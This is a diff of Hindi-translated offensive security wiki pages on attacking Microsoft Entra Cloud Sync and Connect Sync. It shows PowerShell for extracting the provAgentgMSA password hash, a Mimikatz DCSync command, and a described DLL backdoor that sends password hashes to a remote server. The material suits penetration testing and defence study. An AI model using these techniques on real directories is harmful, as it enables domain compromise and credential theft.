- AD में, या तो सेवा खाता **`provAgentgMSA`** को **`pGMSA_<id>$@domain.com`** जैसे SamAcountName के साथ बनाया गया है (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), या एक कस्टम खाता [**इन अनुमतियों की आवश्यकता है**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)। आमतौर पर डिफ़ॉल्ट खाता बनाया जाता है।
|
||||
- AD में, या तो सेवा खाता **`provAgentgMSA`** एक SamAcountName के साथ बनाया जाता है जैसे **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), या एक कस्टम खाता [**इन अनुमतियों की आवश्यकता है**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)। आमतौर पर डिफ़ॉल्ट खाता बनाया जाता है।
|
||||
|
||||
> [!WARNING]
|
||||
> अन्य अनुमतियों के बीच सेवा खाता **`provAgentgMSA`** के पास DCSync अनुमतियाँ हैं, जो **किसी भी व्यक्ति को जो इसे समझौता करता है, पूरे डायरेक्टरी को समझौता करने की अनुमति देती हैं**। [DCSync के बारे में अधिक जानकारी के लिए इसे देखें](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)।
|
||||
> अन्य अनुमतियों के बीच, सेवा खाता **`provAgentgMSA`** के पास DCSync अनुमतियाँ हैं, जो **किसी भी व्यक्ति को जो इसे समझौता करता है, पूरे डायरेक्टरी को समझौता करने की अनुमति देती हैं**। DCSync के बारे में अधिक जानकारी के लिए [यहाँ देखें](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)।
|
||||
|
||||
> [!NOTE]
|
||||
> डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों के उपयोगकर्ता जैसे डोमेन व्यवस्थापक जिनका विशेषता **`adminCount` 1 है, Entra ID के साथ समन्वयित नहीं होते** सुरक्षा कारणों से। हालाँकि, अन्य उपयोगकर्ता जो इस विशेषता के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं **समन्वयित किए जा सकते हैं**।
|
||||
> डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों जैसे डोमेन व्यवस्थापकों के उपयोगकर्ता जिनका विशेषता **`adminCount` 1 है, Entra ID के साथ समन्वयित नहीं होते** सुरक्षा कारणों से। हालाँकि, अन्य उपयोगकर्ता जो इस विशेषता के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं **समन्वयित किए जा सकते हैं**।
|
||||
|
||||
## Password Sychronization
|
||||
|
||||
@@ -36,19 +36,19 @@ az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **पासवर्ड हैश समन्वयन** सक्षम किया जा सकता है ताकि उपयोगकर्ता **AD से अपने पासवर्ड का उपयोग करके Entra ID में लॉगिन कर सकें**। इसके अलावा, जब भी AD में पासवर्ड संशोधित किया जाता है, यह Entra ID में अपडेट हो जाएगा।
|
||||
- **पासवर्ड राइटबैक** को भी सक्षम किया जा सकता है, जिससे उपयोगकर्ता अपने पासवर्ड को Entra ID में संशोधित कर सकते हैं और अपने पासवर्ड को ऑन-प्रिमाइस डोमेन में स्वचालित रूप से समन्वयित कर सकते हैं। लेकिन [वर्तमान दस्तावेज़ों](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) के अनुसार, इसके लिए Connect एजेंट का उपयोग करना आवश्यक है, इसलिए अधिक जानकारी के लिए [Az Connect Sync अनुभाग](./az-connect-sync.md) पर नज़र डालें।
|
||||
- **पासवर्ड राइटबैक** को भी सक्षम किया जा सकता है, जिससे उपयोगकर्ता अपने पासवर्ड को Entra ID में संशोधित कर सकते हैं, जो स्वचालित रूप से उनके पासवर्ड को ऑन-प्रिमाइस डोमेन में समन्वयित करता है। लेकिन [वर्तमान दस्तावेज़ों](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) के अनुसार, इसके लिए Connect Agent का उपयोग करना आवश्यक है, इसलिए अधिक जानकारी के लिए [Az Connect Sync अनुभाग](./az-connect-sync.md) पर नज़र डालें।
|
||||
- **समूह राइटबैक**: यह सुविधा Entra ID से समूह सदस्यताओं को ऑन-प्रिमाइस AD में वापस समन्वयित करने की अनुमति देती है। इसका मतलब है कि यदि किसी उपयोगकर्ता को Entra ID में एक समूह में जोड़ा जाता है, तो उन्हें AD में संबंधित समूह में भी जोड़ा जाएगा।
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- यदि AD उपयोगकर्ताओं को AD से Entra ID में समन्वयित किया जा रहा है, तो AD से Entra ID में पिवट करना सीधा है, बस **किसी उपयोगकर्ता का पासवर्ड समझौता करें या किसी उपयोगकर्ता का पासवर्ड बदलें या एक नया उपयोगकर्ता बनाएं और जब तक यह Entra ID डायरेक्टरी में समन्वयित नहीं होता (आमतौर पर केवल कुछ मिनट)**।
|
||||
- यदि AD उपयोगकर्ताओं को AD से Entra ID में समन्वयित किया जा रहा है, तो AD से Entra ID में पिवट करना सीधा है, बस **किसी उपयोगकर्ता का पासवर्ड समझौता करें या किसी उपयोगकर्ता का पासवर्ड बदलें या एक नया उपयोगकर्ता बनाएं और जब तक यह Entra ID डायरेक्टरी में समन्वयित नहीं हो जाता (आमतौर पर केवल कुछ मिनट)**।
|
||||
|
||||
तो आप उदाहरण के लिए
|
||||
- **`provAgentgMSA`** खाता समझौता करें, DCSync हमला करें, किसी उपयोगकर्ता का पासवर्ड क्रैक करें और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
- बस AD में एक नया उपयोगकर्ता बनाएं, जब तक यह Entra ID में समन्वयित नहीं होता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
- AD में किसी उपयोगकर्ता का पासवर्ड संशोधित करें, जब तक यह Entra ID में समन्वयित नहीं होता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
- **`provAgentgMSA`** खाता समझौता करें, DCSync हमले का प्रदर्शन करें, किसी उपयोगकर्ता का पासवर्ड क्रैक करें और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
- बस AD में एक नया उपयोगकर्ता बनाएं, जब तक यह Entra ID में समन्वयित नहीं हो जाता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
- AD में किसी उपयोगकर्ता का पासवर्ड संशोधित करें, जब तक यह Entra ID में समन्वयित नहीं हो जाता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
|
||||
**`provAgentgMSA`** क्रेडेंशियल्स को समझौता करने के लिए:
|
||||
```powershell
|
||||
@@ -72,7 +72,7 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
अब आप gMSA के हैश का उपयोग करके `provAgentgMSA` खाते के खिलाफ Entra ID के खिलाफ Pass-the-Hash हमले को अंजाम दे सकते हैं और DCSync हमलों को करने के लिए स्थिरता बनाए रख सकते हैं।
|
||||
अब आप gMSA के हैश का उपयोग करके `provAgentgMSA` खाते के खिलाफ Entra ID के खिलाफ Pass-the-Hash हमले को अंजाम दे सकते हैं और AD के खिलाफ DCSync हमले करने के लिए स्थिरता बनाए रख सकते हैं।
|
||||
|
||||
Active Directory को समझौता करने के तरीके के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
@@ -87,7 +87,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
स्थिरता के संबंध में [यह ब्लॉग पोस्ट](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) सुझाव देती है कि [**dnSpy**](https://github.com/dnSpy/dnSpy) का उपयोग करके **`Microsoft.Online.Passwordsynchronisation.dll`** को बैकडोर करना संभव है जो **`C:\Program Files\Microsoft Azure AD Sync\Bin`** में स्थित है और जिसका उपयोग Cloud Sync एजेंट द्वारा पासवर्ड समन्वयन करने के लिए किया जाता है, जिससे यह उपयोगकर्ताओं के पासवर्ड हैश को एक दूरस्थ सर्वर पर एक्सफिल्ट्रेट करता है। हैश को **`PasswordHashGenerator`** वर्ग के अंदर उत्पन्न किया जाता है और ब्लॉग पोस्ट सुझाव देती है कि कुछ कोड जोड़ा जाए ताकि वर्ग इस तरह दिखे (ध्यान दें `use System.Net` और पासवर्ड हैश को एक्सफिल्ट्रेट करने के लिए `WebClient` का उपयोग):
|
||||
स्थिरता के संबंध में [यह ब्लॉग पोस्ट](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) सुझाव देती है कि [**dnSpy**](https://github.com/dnSpy/dnSpy) का उपयोग करके **`Microsoft.Online.Passwordsynchronisation.dll`** को बैकडोर करना संभव है जो **`C:\Program Files\Microsoft Azure AD Sync\Bin`** में स्थित है और जिसका उपयोग Cloud Sync एजेंट द्वारा पासवर्ड समन्वयन करने के लिए किया जाता है, जिससे यह उपयोगकर्ताओं के पासवर्ड हैश को एक दूरस्थ सर्वर पर एक्सफिल्ट्रेट करता है। हैश **`PasswordHashGenerator`** वर्ग के अंदर उत्पन्न होते हैं और ब्लॉग पोस्ट सुझाव देता है कि कुछ कोड जोड़ा जाए ताकि वर्ग इस तरह दिखे (ध्यान दें `use System.Net` और पासवर्ड हैश को एक्सफिल्ट्रेट करने के लिए `WebClient` का उपयोग):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -129,12 +129,12 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C
|
||||
|
||||
- यदि **Password Writeback** सक्षम है, तो आप Entra ID से कुछ उपयोगकर्ताओं का पासवर्ड संशोधित कर सकते हैं और यदि आपके पास AD नेटवर्क तक पहुंच है, तो उनके माध्यम से कनेक्ट करें। अधिक जानकारी के लिए [Az Connect Sync section](./az-connect-sync.md) अनुभाग देखें क्योंकि पासवर्ड राइटबैक उस एजेंट का उपयोग करके कॉन्फ़िगर किया गया है।
|
||||
|
||||
- इस समय Cloud Sync भी **"Microsoft Entra ID to AD"** की अनुमति देता है, लेकिन बहुत समय बाद मैंने पाया कि यह EntraID उपयोगकर्ताओं को AD में समन्वयित नहीं कर सकता और यह केवल उन EntraID उपयोगकर्ताओं को समन्वयित कर सकता है जो पासवर्ड हैश के साथ समन्वयित किए गए थे और उसी डोमेन वन के डोमेन से आते हैं जिसमें हम समन्वयित कर रहे हैं, जैसा कि आप पढ़ सकते हैं [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
- इस समय Cloud Sync भी **"Microsoft Entra ID to AD"** की अनुमति देता है, लेकिन बहुत समय बाद मैंने पाया कि यह EntraID उपयोगकर्ताओं को AD में समन्वयित नहीं कर सकता और यह केवल उन EntraID उपयोगकर्ताओं को समन्वयित कर सकता है जो पासवर्ड हैश के साथ समन्वयित किए गए थे और उसी डोमेन वन के डोमेन से आते हैं जिसमें हम समन्वयित कर रहे हैं जैसा कि आप पढ़ सकते हैं [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - ये समूह केवल ऑन-प्रिमाइसेस समन्वयित उपयोगकर्ताओं और / या अतिरिक्त क्लाउड द्वारा बनाए गए सुरक्षा समूहों को शामिल कर सकते हैं।
|
||||
> - ऑन-प्रिमाइसेस उपयोगकर्ता खाते जो समन्वयित हैं और इस क्लाउड द्वारा बनाए गए सुरक्षा समूह के सदस्य हैं, वे उसी डोमेन से या क्रॉस-डोमेन से हो सकते हैं, लेकिन वे सभी एक ही वन से होने चाहिए।
|
||||
> - ऑन-प्रिमाइसेस उपयोगकर्ता खाते जो समन्वयित हैं और इस क्लाउड द्वारा बनाए गए सुरक्षा समूह के सदस्य हैं, वे उसी डोमेन या क्रॉस-डोमेन से हो सकते हैं, लेकिन वे सभी एक ही वन से होने चाहिए।
|
||||
|
||||
इसलिए इस सेवा की हमले की सतह (और उपयोगिता) काफी कम हो जाती है क्योंकि एक हमलावर को उन उपयोगकर्ताओं को समन्वयित करने के लिए प्रारंभिक AD को समझौता करना होगा ताकि दूसरे डोमेन में एक उपयोगकर्ता को समझौता किया जा सके (और दोनों को स्पष्ट रूप से एक ही वन में होना चाहिए)।
|
||||
इसलिए इस सेवा की हमले की सतह (और उपयोगिता) काफी कम हो जाती है क्योंकि एक हमलावर को उन उपयोगकर्ताओं को समन्वयित करने के लिए प्रारंभिक AD से समझौता करना होगा ताकि दूसरे डोमेन में एक उपयोगकर्ता से समझौता किया जा सके (और दोनों को स्पष्ट रूप से एक ही वन में होना चाहिए)।
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -148,4 +148,4 @@ az rest \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
@@ -19,7 +19,7 @@ az-cloud-sync.md
|
||||
### Principals Generated
|
||||
|
||||
- खाता **`MSOL_<installationID>`** स्वचालित रूप से ऑन-प्रिम AD में बनाया जाता है। इस खाते को **Directory Synchronization Accounts** भूमिका दी जाती है (देखें [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) जिसका अर्थ है कि इसके पास **ऑन-प्रिम AD में पुनरुत्पादन (DCSync) अनुमतियाँ** हैं।
|
||||
- इसका मतलब है कि जो कोई भी इस खाते से समझौता करता है, वह ऑन-प्रिमिस डोमेन से समझौता कर सकेगा।
|
||||
- इसका मतलब है कि जो कोई भी इस खाते से समझौता करेगा वह ऑन-प्रिमिस डोमेन से समझौता कर सकेगा।
|
||||
- एक प्रबंधित सेवा खाता **`ADSyncMSA<id>`** बिना किसी विशेष डिफ़ॉल्ट विशेषाधिकार के ऑन-प्रिम AD में बनाया जाता है।
|
||||
- Entra ID में सेवा प्रिंसिपल **`ConnectSyncProvisioning_ConnectSync_<id>`** एक प्रमाणपत्र के साथ बनाया जाता है।
|
||||
|
||||
@@ -33,12 +33,12 @@ az-cloud-sync.md
|
||||
|
||||
मूल रूप से, सभी **उपयोगकर्ता** और **पासवर्ड हैश का हैश** ऑन-प्रिम से Azure AD में समन्वयित होते हैं। हालाँकि, **स्पष्ट-पाठ पासवर्ड** या **मूल** **हैश** Azure AD को नहीं भेजे जाते हैं।
|
||||
|
||||
**हैश समन्वयन** हर **2 मिनट** में होता है। हालाँकि, डिफ़ॉल्ट रूप से, **पासवर्ड समाप्ति** और **खाता** **समाप्ति** Azure AD में **समन्वयित नहीं** होते हैं। इसलिए, एक उपयोगकर्ता जिसका **ऑन-प्रिम पासवर्ड समाप्त हो गया है** (बदला नहीं गया) वह पुराने पासवर्ड का उपयोग करके **Azure संसाधनों** तक पहुँच जारी रख सकता है।
|
||||
**हैश समन्वय** हर **2 मिनट** में होता है। हालाँकि, डिफ़ॉल्ट रूप से, **पासवर्ड समाप्ति** और **खाता** **समाप्ति** Azure AD में **समन्वयित नहीं होते**। इसलिए, एक उपयोगकर्ता जिसका **ऑन-प्रिम पासवर्ड समाप्त हो गया है** (बदला नहीं गया) वह पुराने पासवर्ड का उपयोग करके **Azure संसाधनों** तक पहुँच जारी रख सकता है।
|
||||
|
||||
जब एक ऑन-प्रिम उपयोगकर्ता Azure संसाधन तक पहुँच प्राप्त करना चाहता है, तो **प्रमाणीकरण Azure AD पर होता है**।
|
||||
|
||||
> [!NOTE]
|
||||
> डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों के उपयोगकर्ता जैसे डोमेन प्रशासक जिनका गुण **`adminCount` 1 है,** सुरक्षा कारणों से Entra ID के साथ समन्वयित नहीं होते हैं। हालाँकि, अन्य उपयोगकर्ता जो इस गुण के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं, **समन्वयित किए जा सकते हैं**।
|
||||
> डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों के उपयोगकर्ता जैसे डोमेन प्रशासक जिनका गुण **`adminCount` 1 है,** सुरक्षा कारणों से Entra ID के साथ **समन्वयित नहीं होते**। हालाँकि, अन्य उपयोगकर्ता जो इस गुण के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं, **समन्वयित किए जा सकते हैं**।
|
||||
|
||||
### Password Writeback
|
||||
|
||||
@@ -46,11 +46,11 @@ az-cloud-sync.md
|
||||
|
||||
यह विशेष रूप से एक समझौता किए गए Entra ID से AD को समझौता करने के लिए दिलचस्प है क्योंकि आप "लगभग" किसी भी उपयोगकर्ता का पासवर्ड बदलने में सक्षम होंगे।
|
||||
|
||||
डोमेन प्रशासक और कुछ विशेषाधिकार समूहों से संबंधित अन्य उपयोगकर्ता पुनरुत्पादित नहीं होते हैं यदि समूह का **`adminCount` गुण 1 है**। लेकिन अन्य उपयोगकर्ता जिन्हें AD के अंदर उच्च विशेषाधिकार सौंपे गए हैं बिना किसी ऐसे समूह का हिस्सा बने, उनके पासवर्ड को बदला जा सकता है। उदाहरण के लिए:
|
||||
डोमेन प्रशासक और कुछ विशेषाधिकार समूहों से संबंधित अन्य उपयोगकर्ता पुनरुत्पादित नहीं होते यदि समूह का **`adminCount` गुण 1 है**। लेकिन अन्य उपयोगकर्ता जिन्होंने AD के अंदर उच्च विशेषाधिकार प्राप्त किए हैं बिना किसी ऐसे समूह का हिस्सा बने, उनके पासवर्ड को बदला जा सकता है। उदाहरण के लिए:
|
||||
|
||||
- सीधे उच्च विशेषाधिकार वाले उपयोगकर्ता।
|
||||
- **`DNSAdmins`** समूह के उपयोगकर्ता।
|
||||
- **`Group Policy Creator Owners`** समूह के उपयोगकर्ता जिन्होंने GPO बनाए हैं और उन्हें OUs पर सौंपा है, वे उन GPOs को संशोधित करने में सक्षम होंगे जिन्हें उन्होंने बनाया है।
|
||||
- **`Group Policy Creator Owners`** समूह के उपयोगकर्ता जिन्होंने GPO बनाए हैं और उन्हें OUs पर सौंपा है, वे अपने द्वारा बनाए गए GPO को संशोधित करने में सक्षम होंगे।
|
||||
- **`Cert Publishers Group`** के उपयोगकर्ता जो Active Directory में प्रमाणपत्र प्रकाशित कर सकते हैं।
|
||||
- किसी अन्य समूह के उपयोगकर्ता जिनके पास **`adminCount` गुण 1 नहीं है**।
|
||||
|
||||
@@ -90,9 +90,9 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**एन्क्रिप्टेड कॉन्फ़िगरेशन** **DPAPI** के साथ एन्क्रिप्ट किया गया है और इसमें **`MSOL_*`** उपयोगकर्ता के पासवर्ड ऑन-प्रेम AD में और **Sync\_\*** का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करने से AD और AzureAD में प्रिवेस्क करने की संभावना होती है।
|
||||
**एन्क्रिप्टेड कॉन्फ़िगरेशन** **DPAPI** के साथ एन्क्रिप्ट किया गया है और इसमें **`MSOL_*`** उपयोगकर्ता के पासवर्ड ऑन-प्रेम AD में और **Sync\_\*** का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करना AD और AzureAD में प्रिवेस्क करने के लिए संभव है।
|
||||
|
||||
आप इस [बातचीत में देख सकते हैं कि ये क्रेडेंशियल्स कैसे संग्रहीत और डिक्रिप्ट किए जाते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg)।
|
||||
आप [इस वार्ता में इन क्रेडेंशियल्स को कैसे संग्रहीत और डिक्रिप्ट किया जाता है, इसका पूरा अवलोकन पा सकते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
|
||||
|
||||
### MSOL\_\* का दुरुपयोग
|
||||
```bash
|
||||
@@ -126,13 +126,13 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
यह उल्लेख किया गया है कि इस एप्लिकेशन का SP अभी भी एक undocumented API का उपयोग करके कुछ विशेषाधिकार प्राप्त क्रियाएँ करने के लिए उपयोग किया जा सकता है, लेकिन अभी तक कोई PoC नहीं मिला है।\
|
||||
किसी भी मामले में, यह सोचना कि यह संभव हो सकता है, आगे यह पता लगाना दिलचस्प होगा कि इस सेवा प्रिंसिपल के रूप में लॉगिन करने के लिए प्रमाणपत्र कैसे खोजें और इसका दुरुपयोग करने की कोशिश करें।
|
||||
किसी भी मामले में, यह सोचते हुए कि यह संभव हो सकता है, यह और अधिक खोजने में दिलचस्पी होगी कि इस सेवा प्रिंसिपल के रूप में लॉगिन करने के लिए प्रमाणपत्र कैसे खोजें और इसका दुरुपयोग करने का प्रयास करें।
|
||||
|
||||
इस [ब्लॉग पोस्ट](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) ने `Sync_*` उपयोगकर्ता से इस सेवा प्रिंसिपल में परिवर्तन करने से पहले जल्दी ही जारी किया, जिसमें बताया गया कि प्रमाणपत्र सर्वर के अंदर संग्रहीत था और इसे खोजना, इसका PoP (Proof of Possession) उत्पन्न करना और ग्राफ़ टोकन बनाना संभव था, और इसके साथ, सेवा प्रिंसिपल में एक नया प्रमाणपत्र जोड़ने में सक्षम होना (क्योंकि एक **सेवा प्रिंसिपल** हमेशा अपने लिए नए प्रमाणपत्र असाइन कर सकता है) और फिर इसे SP के रूप में स्थिरता बनाए रखने के लिए उपयोग करना।
|
||||
इस [ब्लॉग पोस्ट](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) ने `Sync_*` उपयोगकर्ता से इस सेवा प्रिंसिपल में परिवर्तन करने से पहले जल्दी ही जारी किया, जिसमें बताया गया कि प्रमाणपत्र सर्वर के अंदर संग्रहीत था और इसे खोजना, इसका PoP (Proof of Possession) उत्पन्न करना और ग्राफ़ टोकन प्राप्त करना संभव था, और इसके साथ, सेवा प्रिंसिपल में एक नया प्रमाणपत्र जोड़ने में सक्षम होना (क्योंकि एक **सेवा प्रिंसिपल** हमेशा अपने लिए नए प्रमाणपत्र असाइन कर सकता है) और फिर इसे SP के रूप में स्थिरता बनाए रखने के लिए उपयोग करना।
|
||||
|
||||
इन क्रियाओं को करने के लिए, निम्नलिखित उपकरण प्रकाशित किए गए हैं: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils)।
|
||||
|
||||
मेरे अनुभव में, प्रमाणपत्र अब उस स्थान पर संग्रहीत नहीं है जहाँ पिछले उपकरण ने इसे खोजने की कोशिश की थी, और इसलिए, उपकरण अब काम नहीं करता। इसलिए आगे अनुसंधान की आवश्यकता हो सकती है।
|
||||
मेरे अनुभव में, प्रमाणपत्र अब उस स्थान पर संग्रहीत नहीं है जहाँ पिछले उपकरण ने इसे खोजने की कोशिश की थी, और इसलिए, उपकरण अब काम नहीं करता है। इसलिए आगे की खोज की आवश्यकता हो सकती है।
|
||||
|
||||
### Abusing Sync\_\* [DEPRECATED]
|
||||
|
||||
@@ -179,7 +179,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
PHS के साथ Seamless SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे जांचें:
|
||||
Seamless SSO को PHS के साथ उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे जांचें:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
@@ -199,4 +199,4 @@ seamless-sso.md
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,24 +1,24 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services आपको Azure में एक Active Directory तैनात करने की अनुमति देता है बिना Domain Controllers का प्रबंधन किए (वास्तव में, आपके पास उनके लिए भी पहुंच नहीं है)।
|
||||
|
||||
इसका मुख्य उद्देश्य आपको क्लाउड में पुराने अनुप्रयोगों को चलाने की अनुमति देना है जो आधुनिक प्रमाणीकरण विधियों का उपयोग नहीं कर सकते, या जहां आप नहीं चाहते कि निर्देशिका लुकअप हमेशा एक ऑन-प्रिमाइसेस AD DS वातावरण में वापस जाएं।
|
||||
इसका मुख्य उद्देश्य आपको क्लाउड में पुराने अनुप्रयोगों को चलाने की अनुमति देना है जो आधुनिक प्रमाणीकरण विधियों का उपयोग नहीं कर सकते, या जहां आप नहीं चाहते कि निर्देशिका लुकअप हमेशा ऑन-प्रिमाइसेस AD DS वातावरण में वापस जाएं।
|
||||
|
||||
ध्यान दें कि Entra ID में उत्पन्न उपयोगकर्ताओं को (और अन्य सक्रिय निर्देशिकाओं से समन्वयित नहीं) AD डोमेन सेवा में समन्वयित करने के लिए आपको **उपयोगकर्ता का पासवर्ड** एक नए में बदलना होगा ताकि इसे नए AD के साथ समन्वयित किया जा सके। वास्तव में, उपयोगकर्ता का समन्वय Microsoft Entra ID से Domain Services में तब तक नहीं होता जब तक पासवर्ड नहीं बदला जाता।
|
||||
|
||||
> [!WARNING]
|
||||
> भले ही आप एक नया सक्रिय निर्देशिका डोमेन बना रहे हों, आप इसे पूरी तरह से प्रबंधित नहीं कर पाएंगे (कुछ गलत कॉन्फ़िगरेशन का लाभ उठाने के बिना), जिसका अर्थ है कि डिफ़ॉल्ट रूप से उदाहरण के लिए आप AD में सीधे उपयोगकर्ता नहीं बना सकते। आप उन्हें **Entra ID से उपयोगकर्ताओं का समन्वयित करके** बनाते हैं। आप सभी उपयोगकर्ताओं को समन्वयित करने के लिए संकेत दे सकते हैं (यहां तक कि अन्य ऑन-प्रिमाइसेस AD से समन्वयित उपयोगकर्ता), केवल क्लाउड उपयोगकर्ता (Entra ID में बनाए गए उपयोगकर्ता), या यहां तक कि **उन्हें और अधिक फ़िल्टर करें**।
|
||||
> भले ही आप एक नया सक्रिय निर्देशिका डोमेन बना रहे हों, आप इसे पूरी तरह से प्रबंधित नहीं कर पाएंगे (कुछ गलत कॉन्फ़िगरेशन का लाभ उठाने के बिना), जिसका अर्थ है कि डिफ़ॉल्ट रूप से उदाहरण के लिए आप AD में सीधे उपयोगकर्ता नहीं बना सकते। आप उन्हें **Entra ID से उपयोगकर्ताओं का समन्वयित करके** बनाते हैं। आप सभी उपयोगकर्ताओं को समन्वयित करने का संकेत दे सकते हैं (यहां तक कि उन लोगों को जो अन्य ऑन-प्रिमाइसेस AD से समन्वयित हैं), केवल क्लाउड उपयोगकर्ताओं (Entra ID में बनाए गए उपयोगकर्ता), या यहां तक कि **उन्हें और अधिक फ़िल्टर करें**।
|
||||
|
||||
> [!NOTE]
|
||||
> सामान्यतः, नए डोमेन की कॉन्फ़िगरेशन में लचीलापन की कमी और तथ्य यह है कि AD आमतौर पर पहले से ही ऑन-प्रिमाइसेस होते हैं, यह Entra ID और AD के बीच मुख्य एकीकरण नहीं है, लेकिन फिर भी इसे समझना दिलचस्प है कि इसे कैसे समझौता किया जा सकता है।
|
||||
|
||||
### Pivoting
|
||||
|
||||
उत्पन्न **`AAD DC Administrators`** समूह के सदस्य उन VMs पर स्थानीय व्यवस्थापक अनुमतियाँ प्राप्त करते हैं जो प्रबंधित डोमेन से जुड़े होते हैं (लेकिन डोमेन नियंत्रकों में नहीं) क्योंकि उन्हें स्थानीय व्यवस्थापक समूह में जोड़ा जाता है। इस समूह के सदस्य **Remote Desktop का उपयोग करके डोमेन-जोड़े गए VMs से दूरस्थ रूप से कनेक्ट** कर सकते हैं, और ये समूहों के भी सदस्य हैं:
|
||||
